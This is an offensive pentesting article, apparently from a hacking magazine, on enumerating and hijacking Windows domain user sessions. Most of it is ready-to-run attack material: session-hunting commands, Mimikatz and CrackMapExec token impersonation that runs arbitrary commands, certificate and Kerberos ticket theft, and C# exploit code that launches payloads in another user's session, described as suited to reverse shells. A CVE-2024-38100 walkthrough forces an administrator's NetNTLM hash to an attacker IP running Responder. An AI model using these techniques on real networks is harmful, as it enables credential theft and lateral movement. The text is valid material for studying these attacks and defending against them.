
On Windows, a unique session is assigned to each user logging into the system. The mapping between the session and user’s credentials is stored deep inside the lsass.
process. When someone attempts to authenticate to a third-party host, resource, or service, LSA receives the ID of the specific session, verifies the mapping between the session and specific credentials, and then authenticates that user.
warning
This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.
User authentication mechanisms, LSA operating principles, and the general structure of sessions were discussed in detail in my earlier article Insecurity provider. How Windows leaks user passwords. Now let’s examine the session theft mechanism.
In a nutshell, almost all session theft techniques abuse the session-credentials mapping mechanism and perform illegitimate actions on behalf of the user whose session you can manipulate.

Search for user sessions
First of all, you have to find a computer running user sessions that are of interest to you. For this purpose, you can use:
- WinAPI functions that enumerate sessions on a device;
- system behavior (e.g. you can check the system for certain artifacts indicating the presence of a user session on the host); and
- AD features that can be used to disclose lists of users on the host.
WinAPI
The simplest option is WinAPI. It offers plenty of useful functions, including:
Let’s start with the first one. Its numerous arguments are documented well in MSDN.
NET_API_STATUS NET_API_FUNCTION NetSessionEnum( [in] LMSTR servername, [in] LMSTR UncClientName, [in] LMSTR username, [in] DWORD level, [out] LPBYTE *bufptr, [in] DWORD prefmaxlen, [out] LPDWORD entriesread, [out] LPDWORD totalentries, [in, out] LPDWORD resume_handle);
The only important item is the first parameter: it defines the server from where the session data are to be received. Interestingly, there is an analogue of this function, but over RPC: NetrSessionEnum().
Most tools used to detect user sessions employ this method. For instance, if you are operating from a Linux host, you can use the netview.py script (by the way, below is shown a call of the method NetrSessionEnum()).
python3 netview.py DOMAIN/Administrator:lolkekcheb123! -target 10.10.10.10
The -target
parameter is the device from where session information should be collected.

The tool supports more invasive functions as well: it can be used to search the entire domain for sessions. In this case, the list of users you are looking for is specified in -users
.

The NetExec
tool has a limited functionality, but you can still use it to get the list of users by setting the –loggedon-users flag.
nxc smb 10.10.10.10/24 -u admin -p admin --loggedon-users

BloodHound collects session information in a similar way. However, if you are dealing with Windows, the above-described options aren’t applicable. Instead, you can try to use LOLBAS (e.g. net
).
net session [\\compname] [/list]
Or quser
.
quser.exe /server:dc01.office.corp
# Analog 1 in 1qwinsta.exe /server:dc01.office.corp
# Analog 1 in 1, part 2 :)query.exe user /server:W10.ad.bitsadmin.com

There is also a tool called PsLoggedon signed by Microsoft.
psloggedon \\dc01

Finally, there are fully-featured frameworks in PowerShell, including Get-UserSession2.ps1, BOF for Cobalt Strike Get-NetSession, and extremely popular Invoke-UserHunter
from the PowerView package.
Invoke-UserHunter -GroupName "Domain Admins"Invoke-UserHunter -CheckAccess # Check administrative accessInvoke-UserHunter -Domain "dev.corp" -UserName admin # Find out where a specific user is currently located# The -Stealth flag reduces the chances of success, but only checks high-value hosts.
If the NetSessionEnum(
call is blocked or doesn’t work for some reason, you can look for alternatives. For example, getloggedon.py:
python getloggedon.py VOSTOK/dcom:lolkekcheb123\!@192.168.137.139

In addition, a call from a Windows system can be made using PowerView.
Get-NetLoggedon -ComputerName HOME-PC
# Collect information from all computers on the domainGet-DomainComputer | Get-NetLoggedon

The last resort is WinStationEnumerateW(
. I haven’t seen any versions of this call in Python, but there is one in C++ with a detailed description written by its author. A PoC can be found in his repository.
Registry
This user session detection technique exploits the following fact: when a user logs in, a branch is created in HKCU_USERS
. This way, new users can be detected in the system. Of course, you can employ the standard reg.
and reg.py utilities, but hacking gurus have already created fully-functional tools for this purpose.
On Windows, the best solution is Invoke-SessionHunter.
Invoke-SessionHunter

And also the LoggedOn module of the SharpHound tool. On Linux, you can use the LoggedOn.py Python script.
python loggedon.py VOSTOK/dcom:lolkekcheb123\!@192.168.137.139

SCCM
SCCM (which isn’t always deployed in AD!) has an interesting feature called Primary User. It allows you to find out which users are using which workstations. This opens the door for a real hunt! However, to use it, you have to crack the SCCM server.
For instance, you can conduct reconnaissance using MalSCCM.

SharpSCCM makes it possible to detect computers used by certain users.
.\SharpSCCM.exe get primary-users -u Frank.Zapper
The reverse function is supported as well: you can get a list of users who use a specific computer.
SharpSCCM.exe get primary-users -sms <SMS_PROVIDER> -sc <SITECODE> -d CLIENT --no-banner

As you can see, user mayyhem\
is logged into CLIENT
.
RDP sessions
This technique can be used to search for user sessions if RDP is actively used in a corporate network. On Linux, a handy solution is tstool.py.
python3 tstool.py CRINGE/Administrator:lolkekcheb123\!@192.168.116.129 qwinsta

On Windows, the best option is Mimikatz with its ts::sessions module.
mimikatz.exe "ts::sessions /server:W10.ad.bitsadmin.com" exit
Logs
Log files are of utmost interest because many important events are generated when a user logs into the system. This is the most ‘silent’ way to search for user sessions.
The screen below shows event 4624 (An account was successfully logged on); it’s generated on the host the user has logged into. During authentication (e.g. with Kerberos), event 4624 occurs on the domain controller, but its source is the host where authentication was performed. In other words, this is a consequence of an authentication request, not the actual authentication. Also, this event often contains the IP address of the device from where authentication was requested.

To analyze this event, a simple PowerShell script can be written. Let’s say, you want to identify workstations recently visited by the user “Administrator”. In this case, you can filter events 4624 by the LastLogon
attribute (to avoid analyzing all events 4624 on the host).
param( [Parameter(Mandatory=$true)] [string]$ComputerName,
[Parameter(Mandatory=$true)] [string]$UserName)try { Import-Module ActiveDirectory
$user = Get-ADUser -Identity $UserName -Properties "lastLogonTimestamp" $lastLogonDate = [DateTime]::FromFileTime($user.lastLogonTimestamp) $startDate = $lastLogonDate.Date
$endDate = $lastLogonDate.AddDays(1).Date
$filterHashtable = @{ LogName = "Security" ID = 4624
StartTime = $startDate EndTime = $endDate } $events = Get-WinEvent -ComputerName $ComputerName -FilterHashtable $filterHashtable foreach ($event in $events) { $xmlEvent = [xml]$event.ToXml() $targetUserSid = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'TargetUserSid' }).'#text' $targetUserName = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'TargetUserName' }).'#text' if (-not [string]::IsNullOrEmpty($UserName) -and $UserName -ne $targetUserName) { continue } $targetDomainName = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'TargetDomainName' }).'#text' $logonType = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'LogonType' }).'#text' $ipAddress = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'IpAddress' }).'#text' Write-Host "SID User: $targetUserSid" Write-Host "Username: $targetUserName" Write-Host "Domain: $targetDomainName" Write-Host "Logon Type: $logonType" Write-Host "IP Address: $ipAddress" Write-Host "----------" }} catch { Write-Error "Error: $_"}
Execution:
.\script.ps1 -ComputerName dc01 -UserName Administrator
where:
– ComputerName
is the name of the computer whose logs you want to analyze;
– UserName
is the name of the user whose sessions are of interest to you.
A version in C# was developed by our Chinese colleague. You can find the PoC in his GitHub repository.
The next event that definitely deserves your attention is event 4768. It occurs when a TGT ticket is issued.

Potentially, events 4672 and 4769 can be of interest as well. But it’s not convenient to search for a special tool every time some event occurs, right? That’s why I wrote the LogHunter script that automatically parses many interesting events and simplifies searches for user sessions.
There is also an ‘old-fashioned’ way. You can simply connect the mmc.
snap-in to a remote device and process its logs using your favorite app.
Processes
Finally, let’s take a look at processes. Each process has a token attached to it, and this token contains information about the user on whose behalf the executable file should run. WMI can help in such searches.
Get-WmiObject -Query "Select * from Win32_Process" -Computer winpc | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
This cmdlet extracts the list of processes from the winpc
device, immediately filters out service processes that are of no concern to you, and then displays the list of potentially interesting processes with names of their owners.

Session theft
When a session is successfully detected, you can try to hijack it (i.e. steal its credentials). In such situations, the selection of available options is limited only by your imagination!
Stealing TGS
On Windows, one of the reliable session theft techniques is TGSThief. Its idea is as follows: if you start interaction with LSA as Logon Process, you will be able to request a TGS ticket for any session (i.e. for any user who is on the same device with you).
Imagine that you have two users on the host: hacker and admin. In this situation, hacker can use TGSThief to ask LSA to issue a TGS ticket for some service (e.g. CIFS domain controller) to the admin.
However, list of available tricks isn’t limited to this! In Windows AD, there is a service called krbtgt
that takes a TGT ticket and issues a TGS. But what if you issue a TGS ticket to the krbtgt
service? Will you be able to gain other TGS tickets? The answer is: yes, you will!
In fact, if you have a TGS for the krbtgt
service, it’s equivalent to a fully-functional TGT ticket!
This way you can steal other people’s TGT tickets.
Below is an example of exploitation.

Manipulations with tokens
Impersonation of other people’s tokens is a timeless classics in Windows exploitation. An attacker with sufficient privileges attaches someone else’s token to an attacker’s process and acts on behalf of other user.
This attack is very popular, and multiple PoCs have been written for it, including unusual ones (e.g. exploitation with WTS API). A process can be started using not CreateProcessWithTokenW(
, but UpdateProcThreadAttribute().
And the cherry on the cake is CrackMapExec with the Impersonate module. It’s very easy-to-use:
# Get the list of tokens on the system crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022' -M impersonate
# Perform actions on behalf of other user crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022' -M impersonate -o TOKEN=<number of desired token> EXEC=<"execution command"> crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022' -M impersonate -o TOKEN=0 EXEC="whoami"


RemotePotato0
RemotePotato0 is an exploit for a semi-patched bug that allows to escalate your privileges. Why ‘semi-‘? Because it perfectly works on my Windows 11 with all the latest updates installed – although Microsoft claims that everything has been fixed!
This tool abuses the activation of DCOM objects, in the course of which authentication occurs. It can be intercepted and successfully relayed (e.g. to the LDAP service). This interesting attack was described by my colleague snovvcrash in the article Poisonous spuds. Privilege escalation in AD with RemotePotato0.
If NTLM is disabled on the domain or you cannot configure a third-party host to redirect the resolution of OXID requests, then your choice is RemoteKrbRelay. This tool was originally designed for remote Kerberos relay, but no one prevents you from running it against a local computer. It supports relay in LDAP, SMB, and HTTP and almost identically replicates functions performed by RemotePotato0 (except that Kerberos is used instead of NTLM).
Requesting other people’s certificates
With regards to the above-mentioned AD CS, I’d like to remind that you can forcefully trigger a user session when logging into AD CS so that a certificate is issued to that user. For this purpose, you can use the Masky utility:
masky -d vostok.street -u dcom -p 'lolkekcheb123!' -dc-ip 192.168.137.139 -ca "dc01.vostok.street\vostok-DC01-CA" -T user --no-pfx --no-ccache 192.168.137.139 -v# 192.168.137.139 is the computer from where you want to dump users' credentials

Masky logs into the host, gets a list of sessions, and then requests a PFX certificate for each of them; such certificates can be subsequently used in Pass the Certificate attacks.
Importantly, this module is also supported by CrackMapExec.
# Search for CA cme ldap 10.10.10.10 -u admin -p admin -M adcs
# Usage cme smb 10.10.10.10 -u admin -p admin -M masky -o CA="CA DN"

SeMishaPrivilege
This code can be used to execute arbitrary files in the system on behalf of a third-party user. Importantly, you don’t have to explicitly assign SeDebug/SeImpersonate privileges. Initially, the code was released as an LPE exploit for COM Session Moniker EOP, but then various checks were added to it.
if ( imp_token_il >= process_token_il
&& (imp_token_il >= SECURITY_MANDATORY_HIGH_RID
|| EqualSid(process_token_user, imp_token_user))){ ShellExecuteW(NULL, L"open", path, NULL, NULL, SW_SHOW);}
As a result, now it’s just a session abuse technique applicable if you have a local admin account.
The only downside is that the executable file will run in noninteractive mode. In other words, from the current session, you will only see the successfully started process; while GUI applications (if any) will be shown in the target session. Therefore, this method can be used to start reverse shells.
using System;using System.Runtime.InteropServices;namespace IHxHelpPaneServer{ static class Program { static void Main() { var path = "file:///C:/Windows/System32/cmd.exe"; var session = System.Diagnostics.Process.GetCurrentProcess(); // Here you specify the number of the target session to run payload in Server.execute(3.ToString(), path); } } static class Server { [ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IHxHelpPaneServer { void DisplayTask(string task); void DisplayContents(string contents); void DisplaySearchResults(string search); void Execute([MarshalAs(UnmanagedType.LPWStr)] string file); } public static void execute(string new_session_id, string path) { try { IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id)); Uri target = new Uri(path); server.Execute(target.AbsoluteUri); } catch { } } }}
Available sessions can be enumerated using WTSEnumerateSessions(
. I suggest using my IHxExec script or the PowerShell version. For demonstration purposes, I recorded the exploitation process and uploaded the video on YouTube.
Leaked Wallpaper
This vulnerability was registered as CVE-2024-38100. Initially, it was discovered by the author of the decoder.cloud blog, but his commands didn’t work in my case. However, at the end of the article, the author mentions that he has discovered an interesting class making it possible to change wallpapers of other users.
Voila! Everything clicked into place and the light came on me! What if I specify a UNC Path instead of the path to the file? In this case, the wallpaper won’t be installed, but the user from the target session will be forced to follow this UNC Path and send an authentication request, which can be intercepted (e.g. using Responder).
The idea turned out to be effective; it makes it possible to steal a NetNTLM hash. Furthermore, the exploit works even on behalf of a low-privileged user.
Let’s examine an exploitation example. You have an account called exploit
, and it’s absolutely unprivileged.

There is also a privileged account on this computer: administrator
.

To steal admin’s NetNTLM hash, start Responder:
responder -I eth1 -v
Then use the exploit and trigger authentication:
.\LeakedWallpaper.exe <session> \\<Kali IP>\c$\1.jpg
# EX .\LeakedWallpaper.exe 1 \\172.16.0.5\c$\1.jpg

Conclusions
Of course, the list of techniques that can be used to search for accounts and hijack them isn’t limited to the above-discussed ones. I just tried to present the most unusual, elegant, and effective solutions. In many cases, you can simply dump the lsass.
process and extract credentials from it. But whatever the case, you newly-gained knowledge will be useful in your pentesting endeavors.
Good luck!

2023.02.12 — Gateway Bleeding. Pentesting FHRP systems and hijacking network traffic
There are many ways to increase fault tolerance and reliability of corporate networks. Among other things, First Hop Redundancy Protocols (FHRP) are used for this…
Full article →
2022.06.01 — Quarrel on the heap. Heap exploitation on a vulnerable SOAP server in Linux
This paper discusses a challenging CTF-like task. Your goal is to get remote code execution on a SOAP server. All exploitation primitives are involved with…
Full article →
2023.03.26 — Poisonous spuds. Privilege escalation in AD with RemotePotato0
This article discusses different variations of the NTLM Relay cross-protocol attack delivered using the RemotePotato0 exploit. In addition, you will learn how to hide the signature of an…
Full article →
2023.07.20 — Evil modem. Establishing a foothold in the attacked system with a USB modem
If you have direct access to the target PC, you can create a permanent and continuous communication channel with it. All you need for this…
Full article →
2022.02.15 — Reverse shell of 237 bytes. How to reduce the executable file using Linux hacks
Once I was asked: is it possible to write a reverse shell some 200 bytes in size? This shell should perform the following functions: change its name…
Full article →
2022.01.11 — Pentest in your own way. How to create a new testing methodology using OSCP and Hack The Box machines
Each aspiring pentester or information security enthusiast wants to advance at some point from reading exciting write-ups to practical tasks. How to do this in the best way…
Full article →
2022.12.15 — What Challenges To Overcome with the Help of Automated e2e Testing?
This is an external third-party advertising publication. Every good developer will tell you that software development is a complex task. It's a tricky process requiring…
Full article →
2023.02.13 — First Contact: Attacks on Google Pay, Samsung Pay, and Apple Pay
Electronic wallets, such as Google Pay, Samsung Pay, and Apple Pay, are considered the most advanced and secure payment tools. However, these systems are also…
Full article →
2022.06.03 — Challenge the Keemaker! How to bypass antiviruses and inject shellcode into KeePass memory
Recently, I was involved with a challenging pentesting project. Using the KeeThief utility from GhostPack, I tried to extract the master password for the open-source KeePass database…
Full article →
2023.02.21 — Herpaderping and Ghosting. Two new ways to hide processes from antiviruses
The primary objective of virus writers (as well as pentesters and Red Team members) is to hide their payloads from antiviruses and avoid their detection. Various…
Full article →